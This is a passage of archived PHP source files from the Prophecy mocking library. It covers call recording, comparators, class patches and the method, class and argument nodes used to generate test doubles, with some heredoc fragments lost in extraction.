provided wildcard. * * @param ArgumentsWildcard $wildcard * @param false|int $score * * @return $this */ public function addScore(ArgumentsWildcard $wildcard, $score) { $this->scores[$wildcard] = $score; return $this; } /** * Returns wildcard match score for the provided wildcard. The score is * calculated if not already done. * * @param ArgumentsWildcard $wildcard * * @return false|int False OR integer score (higher - better) */ public function getScore(ArgumentsWildcard $wildcard) { if (isset($this->scores[$wildcard])) { return $this->scores[$wildcard]; } return $this->scores[$wildcard] = $wildcard->scoreArguments($this->getArguments()); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Call/CallCenter.php000064400000017070147577714370022431 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Call; use Prophecy\Exception\Prophecy\MethodProphecyException; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Argument\ArgumentsWildcard; use Prophecy\Util\StringUtil; use Prophecy\Exception\Call\UnexpectedCallException; use SplObjectStorage; /** * Calls receiver & manager. * * @author Konstantin Kudryashov */ class CallCenter { private $util; /** * @var Call[] */ private $recordedCalls = array(); /** * @var SplObjectStorage */ private $unexpectedCalls; /** * Initializes call center. * * @param StringUtil $util */ public function __construct(StringUtil $util = null) { $this->util = $util ?: new StringUtil; $this->unexpectedCalls = new SplObjectStorage(); } /** * Makes and records specific method call for object prophecy. * * @param ObjectProphecy $prophecy * @param string $methodName * @param array $arguments * * @return mixed Returns null if no promise for prophecy found or promise return value. * * @throws \Prophecy\Exception\Call\UnexpectedCallException If no appropriate method prophecy found */ public function makeCall(ObjectProphecy $prophecy, $methodName, array $arguments) { // For efficiency exclude 'args' from the generated backtrace // Limit backtrace to last 3 calls as we don't use the rest $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3); $file = $line = null; if (isset($backtrace[2]) && isset($backtrace[2]['file'])) { $file = $backtrace[2]['file']; $line = $backtrace[2]['line']; } // If no method prophecies defined, then it's a dummy, so we'll just return null if ('__destruct' === strtolower($methodName) || 0 == count($prophecy->getMethodProphecies())) { $this->recordedCalls[] = new Call($methodName, $arguments, null, null, $file, $line); return null; } // There are method prophecies, so it's a fake/stub. Searching prophecy for this call $matches = $this->findMethodProphecies($prophecy, $methodName, $arguments); // If fake/stub doesn't have method prophecy for this call - throw exception if (!count($matches)) { $this->unexpectedCalls->attach(new Call($methodName, $arguments, null, null, $file, $line), $prophecy); $this->recordedCalls[] = new Call($methodName, $arguments, null, null, $file, $line); return null; } // Sort matches by their score value @usort($matches, function ($match1, $match2) { return $match2[0] - $match1[0]; }); $score = $matches[0][0]; // If Highest rated method prophecy has a promise - execute it or return null instead $methodProphecy = $matches[0][1]; $returnValue = null; $exception = null; if ($promise = $methodProphecy->getPromise()) { try { $returnValue = $promise->execute($arguments, $prophecy, $methodProphecy); } catch (\Exception $e) { $exception = $e; } } if ($methodProphecy->hasReturnVoid() && $returnValue !== null) { throw new MethodProphecyException( "The method \"$methodName\" has a void return type, but the promise returned a value", $methodProphecy ); } $this->recordedCalls[] = $call = new Call( $methodName, $arguments, $returnValue, $exception, $file, $line ); $call->addScore($methodProphecy->getArgumentsWildcard(), $score); if (null !== $exception) { throw $exception; } return $returnValue; } /** * Searches for calls by method name & arguments wildcard. * * @param string $methodName * @param ArgumentsWildcard $wildcard * * @return Call[] */ public function findCalls($methodName, ArgumentsWildcard $wildcard) { $methodName = strtolower($methodName); return array_values( array_filter($this->recordedCalls, function (Call $call) use ($methodName, $wildcard) { return $methodName === strtolower($call->getMethodName()) && 0 < $call->getScore($wildcard) ; }) ); } /** * @throws UnexpectedCallException */ public function checkUnexpectedCalls() { /** @var Call $call */ foreach ($this->unexpectedCalls as $call) { $prophecy = $this->unexpectedCalls[$call]; // If fake/stub doesn't have method prophecy for this call - throw exception if (!count($this->findMethodProphecies($prophecy, $call->getMethodName(), $call->getArguments()))) { throw $this->createUnexpectedCallException($prophecy, $call->getMethodName(), $call->getArguments()); } } } private function createUnexpectedCallException(ObjectProphecy $prophecy, $methodName, array $arguments) { $classname = get_class($prophecy->reveal()); $indentationLength = 8; // looks good $argstring = implode( ",\n", $this->indentArguments( array_map(array($this->util, 'stringify'), $arguments), $indentationLength ) ); $expected = array(); foreach (array_merge(...array_values($prophecy->getMethodProphecies())) as $methodProphecy) { $expected[] = sprintf( " - %s(\n" . "%s\n" . " )", $methodProphecy->getMethodName(), implode( ",\n", $this->indentArguments( array_map('strval', $methodProphecy->getArgumentsWildcard()->getTokens()), $indentationLength ) ) ); } return new UnexpectedCallException( sprintf( "Unexpected method call on %s:\n". " - %s(\n". "%s\n". " )\n". "expected calls were:\n". "%s", $classname, $methodName, $argstring, implode("\n", $expected) ), $prophecy, $methodName, $arguments ); } private function indentArguments(array $arguments, $indentationLength) { return preg_replace_callback( '/^/m', function () use ($indentationLength) { return str_repeat(' ', $indentationLength); }, $arguments ); } /** * @param ObjectProphecy $prophecy * @param string $methodName * @param array $arguments * * @return array */ private function findMethodProphecies(ObjectProphecy $prophecy, $methodName, array $arguments) { $matches = array(); foreach ($prophecy->getMethodProphecies($methodName) as $methodProphecy) { if (0 < $score = $methodProphecy->getArgumentsWildcard()->scoreArguments($arguments)) { $matches[] = array($score, $methodProphecy); } } return $matches; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Comparator/ProphecyComparator.php000064400000001621147577714370025465 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Comparator; use Prophecy\Prophecy\ProphecyInterface; use SebastianBergmann\Comparator\ObjectComparator; /** * @final */ class ProphecyComparator extends ObjectComparator { public function accepts($expected, $actual): bool { return is_object($expected) && is_object($actual) && $actual instanceof ProphecyInterface; } public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = array()): void { parent::assertEquals($expected, $actual->reveal(), $delta, $canonicalize, $ignoreCase, $processed); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Comparator/Factory.php000064400000001724147577714370023257 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Comparator; use SebastianBergmann\Comparator\Factory as BaseFactory; /** * Prophecy comparator factory. * * @author Konstantin Kudryashov */ final class Factory extends BaseFactory { /** * @var Factory */ private static $instance; public function __construct() { parent::__construct(); $this->register(new ClosureComparator()); $this->register(new ProphecyComparator()); } /** * @return Factory */ public static function getInstance() { if (self::$instance === null) { self::$instance = new Factory; } return self::$instance; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Comparator/ClosureComparator.php000064400000002323147577714370025310 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Comparator; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Comparator\ComparisonFailure; /** * Closure comparator. * * @author Konstantin Kudryashov */ final class ClosureComparator extends Comparator { public function accepts($expected, $actual): bool { return is_object($expected) && $expected instanceof \Closure && is_object($actual) && $actual instanceof \Closure; } public function assertEquals($expected, $actual, $delta = 0.0, $canonicalize = false, $ignoreCase = false, array &$processed = array()): void { if ($expected !== $actual) { throw new ComparisonFailure( $expected, $actual, // we don't need a diff '', '', false, 'all closures are different if not identical' ); } } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/ProphecySubjectPatch.php000064400000006466147577714370027263 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ArgumentTypeNode; use Prophecy\Doubler\Generator\Node\ClassNode; use Prophecy\Doubler\Generator\Node\MethodNode; use Prophecy\Doubler\Generator\Node\ArgumentNode; use Prophecy\Doubler\Generator\Node\ReturnTypeNode; /** * Add Prophecy functionality to the double. * This is a core class patch for Prophecy. * * @author Konstantin Kudryashov */ class ProphecySubjectPatch implements ClassPatchInterface { /** * Always returns true. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { return true; } /** * Apply Prophecy functionality to class node. * * @param ClassNode $node */ public function apply(ClassNode $node) { $node->addInterface('Prophecy\Prophecy\ProphecySubjectInterface'); $node->addProperty('objectProphecyClosure', 'private'); foreach ($node->getMethods() as $name => $method) { if ('__construct' === strtolower($name)) { continue; } if (!$method->getReturnTypeNode()->hasReturnStatement()) { $method->setCode( '$this->getProphecy()->makeProphecyMethodCall(__FUNCTION__, func_get_args());' ); } else { $method->setCode( 'return $this->getProphecy()->makeProphecyMethodCall(__FUNCTION__, func_get_args());' ); } } $prophecySetter = new MethodNode('setProphecy'); $prophecyArgument = new ArgumentNode('prophecy'); $prophecyArgument->setTypeNode(new ArgumentTypeNode('Prophecy\Prophecy\ProphecyInterface')); $prophecySetter->addArgument($prophecyArgument); $prophecySetter->setCode(<<objectProphecyClosure) { \$this->objectProphecyClosure = static function () use (\$prophecy) { return \$prophecy; }; } PHP ); $prophecyGetter = new MethodNode('getProphecy'); $prophecyGetter->setCode('return \call_user_func($this->objectProphecyClosure);'); if ($node->hasMethod('__call')) { $__call = $node->getMethod('__call'); } else { $__call = new MethodNode('__call'); $__call->addArgument(new ArgumentNode('name')); $__call->addArgument(new ArgumentNode('arguments')); $node->addMethod($__call, true); } $__call->setCode(<<addMethod($prophecySetter, true); $node->addMethod($prophecyGetter, true); } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority() { return 0; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/SplFileInfoPatch.php000064400000006176147577714370026322 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; use Prophecy\Doubler\Generator\Node\MethodNode; /** * SplFileInfo patch. * Makes SplFileInfo and derivative classes usable with Prophecy. * * @author Konstantin Kudryashov */ class SplFileInfoPatch implements ClassPatchInterface { /** * Supports everything that extends SplFileInfo. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { if (null === $node->getParentClass()) { return false; } return 'SplFileInfo' === $node->getParentClass() || is_subclass_of($node->getParentClass(), 'SplFileInfo') ; } /** * Updated constructor code to call parent one with dummy file argument. * * @param ClassNode $node */ public function apply(ClassNode $node) { if ($node->hasMethod('__construct')) { $constructor = $node->getMethod('__construct'); } else { $constructor = new MethodNode('__construct'); $node->addMethod($constructor); } if ($this->nodeIsDirectoryIterator($node)) { $constructor->setCode('return parent::__construct("' . __DIR__ . '");'); return; } if ($this->nodeIsSplFileObject($node)) { $filePath = str_replace('\\','\\\\',__FILE__); $constructor->setCode('return parent::__construct("' . $filePath .'");'); return; } if ($this->nodeIsSymfonySplFileInfo($node)) { $filePath = str_replace('\\','\\\\',__FILE__); $constructor->setCode('return parent::__construct("' . $filePath .'", "", "");'); return; } $constructor->useParentCode(); } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority() { return 50; } /** * @param ClassNode $node * @return boolean */ private function nodeIsDirectoryIterator(ClassNode $node) { $parent = $node->getParentClass(); return 'DirectoryIterator' === $parent || is_subclass_of($parent, 'DirectoryIterator'); } /** * @param ClassNode $node * @return boolean */ private function nodeIsSplFileObject(ClassNode $node) { $parent = $node->getParentClass(); return 'SplFileObject' === $parent || is_subclass_of($parent, 'SplFileObject'); } /** * @param ClassNode $node * @return boolean */ private function nodeIsSymfonySplFileInfo(ClassNode $node) { $parent = $node->getParentClass(); return 'Symfony\\Component\\Finder\\SplFileInfo' === $parent; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/TraversablePatch.php000064400000005744147577714370026422 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; use Prophecy\Doubler\Generator\Node\MethodNode; use Prophecy\Doubler\Generator\Node\ReturnTypeNode; /** * Traversable interface patch. * Forces classes that implement interfaces, that extend Traversable to also implement Iterator. * * @author Konstantin Kudryashov */ class TraversablePatch implements ClassPatchInterface { /** * Supports nodetree, that implement Traversable, but not Iterator or IteratorAggregate. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { if (in_array('Iterator', $node->getInterfaces())) { return false; } if (in_array('IteratorAggregate', $node->getInterfaces())) { return false; } foreach ($node->getInterfaces() as $interface) { if ('Traversable' !== $interface && !is_subclass_of($interface, 'Traversable')) { continue; } if ('Iterator' === $interface || is_subclass_of($interface, 'Iterator')) { continue; } if ('IteratorAggregate' === $interface || is_subclass_of($interface, 'IteratorAggregate')) { continue; } return true; } return false; } /** * Forces class to implement Iterator interface. * * @param ClassNode $node */ public function apply(ClassNode $node) { $node->addInterface('Iterator'); $currentMethod = new MethodNode('current'); (\PHP_VERSION_ID >= 80100) && $currentMethod->setReturnTypeNode(new ReturnTypeNode('mixed')); $node->addMethod($currentMethod); $keyMethod = new MethodNode('key'); (\PHP_VERSION_ID >= 80100) && $keyMethod->setReturnTypeNode(new ReturnTypeNode('mixed')); $node->addMethod($keyMethod); $nextMethod = new MethodNode('next'); (\PHP_VERSION_ID >= 80100) && $nextMethod->setReturnTypeNode(new ReturnTypeNode('void')); $node->addMethod($nextMethod); $rewindMethod = new MethodNode('rewind'); (\PHP_VERSION_ID >= 80100) && $rewindMethod->setReturnTypeNode(new ReturnTypeNode('void')); $node->addMethod($rewindMethod); $validMethod = new MethodNode('valid'); (\PHP_VERSION_ID >= 80100) && $validMethod->setReturnTypeNode(new ReturnTypeNode('bool')); $node->addMethod($validMethod); } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority() { return 100; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/DisableConstructorPatch.php000064400000003344147577714370027753 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; use Prophecy\Doubler\Generator\Node\MethodNode; /** * Disable constructor. * Makes all constructor arguments optional. * * @author Konstantin Kudryashov */ class DisableConstructorPatch implements ClassPatchInterface { /** * Checks if class has `__construct` method. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { return true; } /** * Makes all class constructor arguments optional. * * @param ClassNode $node */ public function apply(ClassNode $node) { if (!$node->isExtendable('__construct')) { return; } if (!$node->hasMethod('__construct')) { $node->addMethod(new MethodNode('__construct', '')); return; } $constructor = $node->getMethod('__construct'); foreach ($constructor->getArguments() as $argument) { $argument->setDefault(null); } $constructor->setCode(<< * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; /** * ReflectionClass::newInstance patch. * Makes first argument of newInstance optional, since it works but signature is misleading * * @author Florian Klein */ class ReflectionClassNewInstancePatch implements ClassPatchInterface { /** * Supports ReflectionClass * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { return 'ReflectionClass' === $node->getParentClass(); } /** * Updates newInstance's first argument to make it optional * * @param ClassNode $node */ public function apply(ClassNode $node) { foreach ($node->getMethod('newInstance')->getArguments() as $argument) { $argument->setDefault(null); } } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher = earlier) */ public function getPriority() { return 50; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/ThrowablePatch.php000064400000004541147577714370026071 0ustar00implementsAThrowableInterface($node) && $this->doesNotExtendAThrowableClass($node); } /** * @param ClassNode $node * @return bool */ private function implementsAThrowableInterface(ClassNode $node) { foreach ($node->getInterfaces() as $type) { if (is_a($type, 'Throwable', true)) { return true; } } return false; } /** * @param ClassNode $node * @return bool */ private function doesNotExtendAThrowableClass(ClassNode $node) { return !is_a($node->getParentClass(), 'Throwable', true); } /** * Applies patch to the specific class node. * * @param ClassNode $node * * @return void */ public function apply(ClassNode $node) { $this->checkItCanBeDoubled($node); $this->setParentClassToException($node); } private function checkItCanBeDoubled(ClassNode $node) { $className = $node->getParentClass(); if ($className !== 'stdClass') { throw new ClassCreatorException( sprintf( 'Cannot double concrete class %s as well as implement Traversable', $className ), $node ); } } private function setParentClassToException(ClassNode $node) { $node->setParentClass('Exception'); $node->removeMethod('getMessage'); $node->removeMethod('getCode'); $node->removeMethod('getFile'); $node->removeMethod('getLine'); $node->removeMethod('getTrace'); $node->removeMethod('getPrevious'); $node->removeMethod('getNext'); $node->removeMethod('getTraceAsString'); } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority() { return 100; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/ClassPatchInterface.php000064400000002154147577714370027026 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; /** * Class patch interface. * Class patches extend doubles functionality or help * Prophecy to avoid some internal PHP bugs. * * @author Konstantin Kudryashov */ interface ClassPatchInterface { /** * Checks if patch supports specific class node. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node); /** * Applies patch to the specific class node. * * @param ClassNode $node * @return void */ public function apply(ClassNode $node); /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority(); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/HhvmExceptionPatch.php000064400000002721147577714370026721 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; /** * Exception patch for HHVM to remove the stubs from special methods * * @author Christophe Coevoet */ class HhvmExceptionPatch implements ClassPatchInterface { /** * Supports exceptions on HHVM. * * @param ClassNode $node * * @return bool */ public function supports(ClassNode $node) { if (!defined('HHVM_VERSION')) { return false; } return 'Exception' === $node->getParentClass() || is_subclass_of($node->getParentClass(), 'Exception'); } /** * Removes special exception static methods from the doubled methods. * * @param ClassNode $node * * @return void */ public function apply(ClassNode $node) { if ($node->hasMethod('setTraceOptions')) { $node->getMethod('setTraceOptions')->useParentCode(); } if ($node->hasMethod('getTraceOptions')) { $node->getMethod('getTraceOptions')->useParentCode(); } } /** * {@inheritdoc} */ public function getPriority() { return -50; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/MagicCallPatch.php000064400000006261147577714370025757 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ArgumentNode; use Prophecy\Doubler\Generator\Node\ClassNode; use Prophecy\Doubler\Generator\Node\MethodNode; use Prophecy\PhpDocumentor\ClassAndInterfaceTagRetriever; use Prophecy\PhpDocumentor\MethodTagRetrieverInterface; /** * Discover Magical API using "@method" PHPDoc format. * * @author Thomas Tourlourat * @author Kévin Dunglas * @author Théo FIDRY */ class MagicCallPatch implements ClassPatchInterface { const MAGIC_METHODS_WITH_ARGUMENTS = ['__call', '__callStatic', '__get', '__isset', '__set', '__set_state', '__unserialize', '__unset']; private $tagRetriever; public function __construct(MethodTagRetrieverInterface $tagRetriever = null) { $this->tagRetriever = null === $tagRetriever ? new ClassAndInterfaceTagRetriever() : $tagRetriever; } /** * Support any class * * @param ClassNode $node * * @return boolean */ public function supports(ClassNode $node) { return true; } /** * Discover Magical API * * @param ClassNode $node */ public function apply(ClassNode $node) { $types = array_filter($node->getInterfaces(), function ($interface) { return 0 !== strpos($interface, 'Prophecy\\'); }); $types[] = $node->getParentClass(); foreach ($types as $type) { $reflectionClass = new \ReflectionClass($type); while ($reflectionClass) { $tagList = $this->tagRetriever->getTagList($reflectionClass); foreach ($tagList as $tag) { $methodName = $tag->getMethodName(); if (empty($methodName)) { continue; } if (!$reflectionClass->hasMethod($methodName)) { $methodNode = new MethodNode($methodName); // only magic methods can have a contract that needs to be enforced if (in_array($methodName, self::MAGIC_METHODS_WITH_ARGUMENTS)) { foreach($tag->getArguments() as $argument) { $argumentNode = new ArgumentNode($argument['name']); $methodNode->addArgument($argumentNode); } } $methodNode->setStatic($tag->isStatic()); $node->addMethod($methodNode); } } $reflectionClass = $reflectionClass->getParentClass(); } } } /** * Returns patch priority, which determines when patch will be applied. * * @return integer Priority number (higher - earlier) */ public function getPriority() { return 50; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/ClassPatch/KeywordPatch.php000064400000003005147577714370025560 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\ClassPatch; use Prophecy\Doubler\Generator\Node\ClassNode; /** * Remove method functionality from the double which will clash with php keywords. * * @author Milan Magudia */ class KeywordPatch implements ClassPatchInterface { /** * Support any class * * @param ClassNode $node * * @return boolean */ public function supports(ClassNode $node) { return true; } /** * Remove methods that clash with php keywords * * @param ClassNode $node */ public function apply(ClassNode $node) { $methodNames = array_keys($node->getMethods()); $methodsToRemove = array_intersect($methodNames, $this->getKeywords()); foreach ($methodsToRemove as $methodName) { $node->removeMethod($methodName); } } /** * Returns patch priority, which determines when patch will be applied. * * @return int Priority number (higher - earlier) */ public function getPriority() { return 49; } /** * Returns array of php keywords. * * @return array */ private function getKeywords() { return ['__halt_compiler']; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/MethodNode.php000064400000011274147577714370025777 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator\Node; use Prophecy\Doubler\Generator\TypeHintReference; use Prophecy\Exception\InvalidArgumentException; /** * Method node. * * @author Konstantin Kudryashov */ class MethodNode { private $name; private $code; private $visibility = 'public'; private $static = false; private $returnsReference = false; /** @var ReturnTypeNode */ private $returnTypeNode; /** * @var ArgumentNode[] */ private $arguments = array(); /** * @param string $name * @param string $code */ public function __construct($name, $code = null, TypeHintReference $typeHintReference = null) { $this->name = $name; $this->code = $code; $this->returnTypeNode = new ReturnTypeNode(); } public function getVisibility() { return $this->visibility; } /** * @param string $visibility */ public function setVisibility($visibility) { $visibility = strtolower($visibility); if (!in_array($visibility, array('public', 'private', 'protected'))) { throw new InvalidArgumentException(sprintf( '`%s` method visibility is not supported.', $visibility )); } $this->visibility = $visibility; } public function isStatic() { return $this->static; } public function setStatic($static = true) { $this->static = (bool) $static; } public function returnsReference() { return $this->returnsReference; } public function setReturnsReference() { $this->returnsReference = true; } public function getName() { return $this->name; } public function addArgument(ArgumentNode $argument) { $this->arguments[] = $argument; } /** * @return ArgumentNode[] */ public function getArguments() { return $this->arguments; } /** * @deprecated use getReturnTypeNode instead * @return bool */ public function hasReturnType() { return (bool) $this->returnTypeNode->getNonNullTypes(); } public function setReturnTypeNode(ReturnTypeNode $returnTypeNode): void { $this->returnTypeNode = $returnTypeNode; } /** * @deprecated use setReturnTypeNode instead * @param string $type */ public function setReturnType($type = null) { $this->returnTypeNode = ($type === '' || $type === null) ? new ReturnTypeNode() : new ReturnTypeNode($type); } /** * @deprecated use setReturnTypeNode instead * @param bool $bool */ public function setNullableReturnType($bool = true) { if ($bool) { $this->returnTypeNode = new ReturnTypeNode('null', ...$this->returnTypeNode->getTypes()); } else { $this->returnTypeNode = new ReturnTypeNode(...$this->returnTypeNode->getNonNullTypes()); } } /** * @deprecated use getReturnTypeNode instead * @return string|null */ public function getReturnType() { if ($types = $this->returnTypeNode->getNonNullTypes()) { return $types[0]; } return null; } public function getReturnTypeNode() : ReturnTypeNode { return $this->returnTypeNode; } /** * @deprecated use getReturnTypeNode instead * @return bool */ public function hasNullableReturnType() { return $this->returnTypeNode->canUseNullShorthand(); } /** * @param string $code */ public function setCode($code) { $this->code = $code; } public function getCode() { if ($this->returnsReference) { return "throw new \Prophecy\Exception\Doubler\ReturnByReferenceException('Returning by reference not supported', get_class(\$this), '{$this->name}');"; } return (string) $this->code; } public function useParentCode() { $this->code = sprintf( 'return parent::%s(%s);', $this->getName(), implode(', ', array_map(array($this, 'generateArgument'), $this->arguments) ) ); } private function generateArgument(ArgumentNode $arg) { $argument = '$'.$arg->getName(); if ($arg->isVariadic()) { $argument = '...'.$argument; } return $argument; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/TypeNodeAbstract.php000064400000004737147577714370027172 0ustar00getRealType($type); $this->types[$type] = $type; } $this->guardIsValidType(); } public function canUseNullShorthand(): bool { return isset($this->types['null']) && count($this->types) <= 2; } public function getTypes(): array { return array_values($this->types); } public function getNonNullTypes(): array { $nonNullTypes = $this->types; unset($nonNullTypes['null']); return array_values($nonNullTypes); } protected function prefixWithNsSeparator(string $type): string { return '\\' . ltrim($type, '\\'); } protected function getRealType(string $type): string { switch ($type) { // type aliases case 'double': case 'real': return 'float'; case 'boolean': return 'bool'; case 'integer': return 'int'; // built in types case 'self': case 'static': case 'array': case 'callable': case 'bool': case 'false': case 'float': case 'int': case 'string': case 'iterable': case 'object': case 'null': return $type; case 'mixed': return \PHP_VERSION_ID < 80000 ? $this->prefixWithNsSeparator($type) : $type; default: return $this->prefixWithNsSeparator($type); } } protected function guardIsValidType() { if ($this->types == ['null' => 'null']) { throw new DoubleException('Type cannot be standalone null'); } if ($this->types == ['false' => 'false']) { throw new DoubleException('Type cannot be standalone false'); } if ($this->types == ['false' => 'false', 'null' => 'null']) { throw new DoubleException('Type cannot be nullable false'); } if (\PHP_VERSION_ID >= 80000 && isset($this->types['mixed']) && count($this->types) !== 1) { throw new DoubleException('mixed cannot be part of a union'); } } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/ClassNode.php000064400000007254147577714370025627 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator\Node; use Prophecy\Exception\Doubler\MethodNotExtendableException; use Prophecy\Exception\InvalidArgumentException; /** * Class node. * * @author Konstantin Kudryashov */ class ClassNode { private $parentClass = 'stdClass'; private $interfaces = array(); private $properties = array(); private $unextendableMethods = array(); /** * @var MethodNode[] */ private $methods = array(); public function getParentClass() { return $this->parentClass; } /** * @param string $class */ public function setParentClass($class) { $this->parentClass = $class ?: 'stdClass'; } /** * @return string[] */ public function getInterfaces() { return $this->interfaces; } /** * @param string $interface */ public function addInterface($interface) { if ($this->hasInterface($interface)) { return; } array_unshift($this->interfaces, $interface); } /** * @param string $interface * * @return bool */ public function hasInterface($interface) { return in_array($interface, $this->interfaces); } public function getProperties() { return $this->properties; } public function addProperty($name, $visibility = 'public') { $visibility = strtolower($visibility); if (!in_array($visibility, array('public', 'private', 'protected'))) { throw new InvalidArgumentException(sprintf( '`%s` property visibility is not supported.', $visibility )); } $this->properties[$name] = $visibility; } /** * @return MethodNode[] */ public function getMethods() { return $this->methods; } public function addMethod(MethodNode $method, $force = false) { if (!$this->isExtendable($method->getName())){ $message = sprintf( 'Method `%s` is not extendable, so can not be added.', $method->getName() ); throw new MethodNotExtendableException($message, $this->getParentClass(), $method->getName()); } if ($force || !isset($this->methods[$method->getName()])) { $this->methods[$method->getName()] = $method; } } public function removeMethod($name) { unset($this->methods[$name]); } /** * @param string $name * * @return MethodNode|null */ public function getMethod($name) { return $this->hasMethod($name) ? $this->methods[$name] : null; } /** * @param string $name * * @return bool */ public function hasMethod($name) { return isset($this->methods[$name]); } /** * @return string[] */ public function getUnextendableMethods() { return $this->unextendableMethods; } /** * @param string $unextendableMethod */ public function addUnextendableMethod($unextendableMethod) { if (!$this->isExtendable($unextendableMethod)){ return; } $this->unextendableMethods[] = $unextendableMethod; } /** * @param string $method * @return bool */ public function isExtendable($method) { return !in_array($method, $this->unextendableMethods); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/Node/ArgumentNode.php000064400000005645147577714370026346 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Doubler\Generator\Node; /** * Argument node. * * @author Konstantin Kudryashov */ class ArgumentNode { private $name; private $default; private $optional = false; private $byReference = false; private $isVariadic = false; /** @var ArgumentTypeNode */ private $typeNode; /** * @param string $name */ public function __construct($name) { $this->name = $name; $this->typeNode = new ArgumentTypeNode(); } public function getName() { return $this->name; } public function setTypeNode(ArgumentTypeNode $typeNode) { $this->typeNode = $typeNode; } public function getTypeNode() : ArgumentTypeNode { return $this->typeNode; } public function hasDefault() { return $this->isOptional() && !$this->isVariadic(); } public function getDefault() { return $this->default; } public function setDefault($default = null) { $this->optional = true; $this->default = $default; } public function isOptional() { return $this->optional; } public function setAsPassedByReference($byReference = true) { $this->byReference = $byReference; } public function isPassedByReference() { return $this->byReference; } public function setAsVariadic($isVariadic = true) { $this->isVariadic = $isVariadic; } public function isVariadic() { return $this->isVariadic; } /** * @deprecated use getArgumentTypeNode instead * @return string|null */ public function getTypeHint() { $type = $this->typeNode->getNonNullTypes() ? $this->typeNode->getNonNullTypes()[0] : null; return $type ? ltrim($type, '\\') : null; } /** * @deprecated use setArgumentTypeNode instead * @param string|null $typeHint */ public function setTypeHint($typeHint = null) { $this->typeNode = ($typeHint === null) ? new ArgumentTypeNode() : new ArgumentTypeNode($typeHint); } /** * @deprecated use getArgumentTypeNode instead * @return bool */ public function isNullable() { return $this->typeNode->canUseNullShorthand(); } /** * @deprecated use getArgumentTypeNode instead * @param bool $isNullable */ public function setAsNullable($isNullable = true) { $nonNullTypes = $this->typeNode->getNonNullTypes(); $this->typeNode = $isNullable ? new 